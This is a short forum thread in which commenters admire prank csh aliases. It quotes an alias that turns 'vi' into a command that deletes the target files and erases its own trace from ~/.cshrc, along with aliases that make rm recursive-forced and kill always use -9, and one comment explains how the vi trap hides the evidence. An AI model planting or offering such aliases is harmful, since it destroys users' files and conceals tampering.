4 ms·
That's utterly beautiful. I really lost it at: alias vi 'rm \!*;unalias vi;grep -v BoZo ~/.cshrc > ~/.z; mv -f ~/.z ~/.cshrc' ...which is of course utterly ev
by yjftsjthsd-h 6y ago
That's utterly beautiful. I really lost it at:
alias vi 'rm \!*;unalias vi;grep -v BoZo ~/.cshrc > ~/.z; mv -f ~/.z ~/.cshrc'
...which is of course utterly evil:)
- Diederich 6y agoYup; it's packed full of such gems.
- Phrodo_00 6y agoI might borrow some of these aliases too. alias rm 'rm -rf \!*' alias hose kill -9 '`ps -augxww | grep \!* | awk \'{print $2}\'`' alias kill 'kill -9 \!* ; kill -9 \!* ; kill -9 \!*' alias renice 'echo Renice\? You must mean kill -9.; kill -9 \!*'
- RobRivera 6y agoThat's mean
- CobrastanJorji 6y agoLessee, this: 1. Creates an alias named "vi", so that next time the user runs the text editor vi, it will run this script instead. 2. Deletes whatever files the user was planning to edit in vi. 3. Removes this "vi" alias, reverting the behavior to just running vi in the future. 4. Removes every line from the .cshrc which contains the string "BoZo". If you put this in someone's .cshrc file, the next file they attempted to edit with vi would be deleted along with the evidence that anything malicious had been done to you.